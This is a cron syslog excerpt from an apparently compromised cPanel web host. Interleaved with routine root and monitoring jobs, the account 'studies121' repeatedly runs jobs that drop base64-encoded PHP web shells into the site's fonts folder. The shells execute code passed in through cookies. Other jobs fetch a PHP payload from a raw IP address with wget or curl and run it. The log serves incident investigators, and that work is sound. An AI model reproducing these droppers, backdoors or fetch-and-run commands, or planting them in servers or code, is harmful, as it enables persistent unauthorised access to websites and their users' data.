Sep 11 03:20:01 ip-184-168-122-23 CROND[21534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:20:01 ip-184-168-122-23 CROND[21537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:21:01 ip-184-168-122-23 CROND[21654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:21:01 ip-184-168-122-23 CROND[21656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:21:01 ip-184-168-122-23 CROND[21655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:21:01 ip-184-168-122-23 CROND[21657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:22:01 ip-184-168-122-23 CROND[21756]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:22:01 ip-184-168-122-23 CROND[21757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:22:01 ip-184-168-122-23 CROND[21760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:22:01 ip-184-168-122-23 CROND[21758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:22:01 ip-184-168-122-23 CROND[21759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:23:01 ip-184-168-122-23 CROND[21843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:23:01 ip-184-168-122-23 CROND[21844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:23:01 ip-184-168-122-23 CROND[21847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:23:01 ip-184-168-122-23 CROND[21845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:24:01 ip-184-168-122-23 CROND[21925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:24:01 ip-184-168-122-23 CROND[21927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:24:01 ip-184-168-122-23 CROND[21930]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:24:01 ip-184-168-122-23 CROND[21929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:24:01 ip-184-168-122-23 CROND[21928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:25:01 ip-184-168-122-23 CROND[22016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:25:01 ip-184-168-122-23 CROND[22017]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 03:25:01 ip-184-168-122-23 CROND[22019]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:25:01 ip-184-168-122-23 CROND[22021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:25:01 ip-184-168-122-23 CROND[22018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:25:01 ip-184-168-122-23 CROND[22022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:26:01 ip-184-168-122-23 CROND[22214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:26:01 ip-184-168-122-23 CROND[22213]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:26:01 ip-184-168-122-23 CROND[22217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:26:01 ip-184-168-122-23 CROND[22216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:26:01 ip-184-168-122-23 CROND[22215]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:27:01 ip-184-168-122-23 CROND[22320]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep 11 03:27:01 ip-184-168-122-23 CROND[22323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:27:01 ip-184-168-122-23 CROND[22324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:27:01 ip-184-168-122-23 CROND[22325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:27:01 ip-184-168-122-23 CROND[22326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:28:01 ip-184-168-122-23 CROND[22421]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:28:01 ip-184-168-122-23 CROND[22423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:28:01 ip-184-168-122-23 CROND[22422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:28:01 ip-184-168-122-23 CROND[22424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:28:01 ip-184-168-122-23 CROND[22425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:29:01 ip-184-168-122-23 CROND[22517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:29:01 ip-184-168-122-23 CROND[22519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:29:01 ip-184-168-122-23 CROND[22518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:29:01 ip-184-168-122-23 CROND[22520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:30:01 ip-184-168-122-23 CROND[22596]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 03:30:01 ip-184-168-122-23 CROND[22602]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 03:30:01 ip-184-168-122-23 CROND[22603]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 03:30:01 ip-184-168-122-23 CROND[22604]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:30:01 ip-184-168-122-23 CROND[22607]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:30:01 ip-184-168-122-23 CROND[22608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:30:01 ip-184-168-122-23 CROND[22612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:30:01 ip-184-168-122-23 CROND[22615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:31:01 ip-184-168-122-23 CROND[22790]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:31:01 ip-184-168-122-23 CROND[22792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:31:01 ip-184-168-122-23 CROND[22793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:31:01 ip-184-168-122-23 CROND[22794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:31:01 ip-184-168-122-23 CROND[22795]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 03:32:01 ip-184-168-122-23 CROND[22897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 03:32:01 ip-184-168-122-23 CROND[22898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:32:01 ip-184-168-122-23 CROND[22900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 03:32:01 ip-184-168-122-23 CROND[22902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
